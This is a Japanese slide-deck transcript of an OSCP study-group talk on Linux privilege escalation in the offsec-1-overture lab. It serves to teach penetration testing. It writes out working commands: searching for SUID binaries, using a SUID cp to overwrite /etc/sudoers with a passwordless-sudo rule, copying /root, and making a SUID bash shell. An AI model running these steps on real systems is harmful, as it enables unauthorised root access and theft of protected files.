Linuxでの権限昇格 / Privilege Escalation in Linux

Linuxでの権限昇格 2023/03/24 OSCP勉強会きとう

自己紹介なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり
2 おしごと • 企業でSOCの中の人とかIRとか Linuxでの権限昇格

おことわり Linuxでの権限昇格 3 OSCP(PEN-200)勉強中の者が学んだ内容を発表するものですどうかマサカリはおしまいくださいでも間違いがあったら教えてください

権限昇格非特権ユーザーから特権ユーザーになること • 非特権ユーザー • 一般ユーザーのこと • 特権ユーザー • 一般ユーザーができないことをできる高い権限を持ったユーザー
• Linuxだとroot • WindowsだとAdministratorとかSYSTEM • 今回はLinuxでのお話 Linuxでの権限昇格 4

offsec-1-overtureにおける権限昇格 root権限のユーザを追加 Linuxでの権限昇格 5 /bin/cpに SUIDビット SUIDの立ったプログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持ったユーザを追加した passwdを用意追加したユーザでログイン昇格！

offsec-1-overtureにおける権限昇格むずかしくない…？ Linuxでの権限昇格 6 /bin/cpに SUIDビット SUIDの立ったプログラムの探索 /bin/cpで /etc/passwdを上書き
root権限を持ったユーザを追加した passwdを用意追加したユーザでログイン昇格！ • ここすごい閃きだと思う • /bin/cpじゃなくて別のだったら？パターン整理していくと何か知見が得られるかも！？

権限昇格に使われる手法の整理権限昇格までの手順をパーツに分けてパターンを整理してみる(WIP) Linuxでの権限昇格 7 ここに至るパスを考えていけばいい

Linuxでの権限昇格 8 ①/bin/cpにSUID ②ファイル書込可 ③/etc/passwdに追加 ④ログイン ⑤昇格完了

offsec-1-overture 別解攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp /etc/sudoers /tmp/ /etc/sudoersをコピー • cat /tmp/sudoers > /tmp/sudoers2 編集のために自分をownerに • echo “apache ALL=NOPASSWD:ALL” >> /tmp/sudoers2 Pass無しでsudoできる魔法の言葉 • cp /tmp/sudoers2 /etc/sudoers /etc/sudoersに書き戻し • sudo su – sudoでrootに • cat /root/flag.txt フラグゲット Linuxでの権限昇格 9

Linuxでの権限昇格 10

offsec-1-overture 別解（邪道）攻略の流れ • find / -type f -perm –u=s
2>/dev/null SUIDビットの立ったプログラムを探索 /bin/cpを確認 • cp -rv /root /tmp/ /rootをごっそりコピー • cat /tmp/root/flag.txt フラグゲット • CTFならいいけどOSCPではダメ Linuxでの権限昇格 11

おまけ SUIDを使って直接root権限を得る方法（overtureの攻略には使えない） • [*rootで*] • cp /bin/bash /tmp/bash bashをコピーして •
chmod u+s /tmp/bash SUIDを立てる • [*non-rootで*] • /tmp/bash -p euid(effective uid)が0になりrootと同じ権限を得る • でもrootでコマンド実行させられる状況ならreverse shell使った方がいい気が… Linuxでの権限昇格 12

まとめ • 権限昇格へのパスを一発で思いつける人すごいな！ • Linuxでの権限昇格までの手順をパーツに分けて整理してみた(WIP) • 取り掛かりポイントが見つかったら権限昇格に向かって辿っていくとパスが出る • overtureの別解紹介 •
パターン拡充していこう • Windowsでもやってみようか • みなさんのやり方とか工夫とか教えてください Linuxでの権限昇格 13

おしまいきとう @tkito 14

Linuxでの権限昇格 / Privilege Escalation in Linux

Linuxでの権限昇格 / Privilege Escalation in Linux

tkito

More Decks by tkito

Other Decks in Technology

Featured

Transcript

Linuxでの権限昇格 2023/03/24 OSCP勉強会きとう

自己紹介なまえ • きとう、てきとう、tkito • Twitter: @tkito しゅみ • ゲームしたり海に潜ったり徳を積んだり

おことわり Linuxでの権限昇格 3 OSCP(PEN-200)勉強中の者が学んだ内容を発表するものですどうかマサカリはおしまいくださいでも間違いがあったら教えてください

権限昇格非特権ユーザーから特権ユーザーになること • 非特権ユーザー • 一般ユーザーのこと • 特権ユーザー • 一般ユーザーができないことをできる高い権限を持ったユーザー

offsec-1-overtureにおける権限昇格 root権限のユーザを追加 Linuxでの権限昇格 5 /bin/cpに SUIDビット SUIDの立ったプログラムの探索 /bin/cpで /etc/passwdを上書き

offsec-1-overtureにおける権限昇格むずかしくない…？ Linuxでの権限昇格 6 /bin/cpに SUIDビット SUIDの立ったプログラムの探索 /bin/cpで /etc/passwdを上書き

権限昇格に使われる手法の整理権限昇格までの手順をパーツに分けてパターンを整理してみる(WIP) Linuxでの権限昇格 7 ここに至るパスを考えていけばいい

Linuxでの権限昇格 8 ①/bin/cpにSUID ②ファイル書込可 ③/etc/passwdに追加 ④ログイン ⑤昇格完了

offsec-1-overture 別解攻略の流れ • find / -type f -perm –u=s

Linuxでの権限昇格 10

offsec-1-overture 別解（邪道）攻略の流れ • find / -type f -perm –u=s

おまけ SUIDを使って直接root権限を得る方法（overtureの攻略には使えない） • [rootで] • cp /bin/bash /tmp/bash bashをコピーして •

おしまいきとう @tkito 14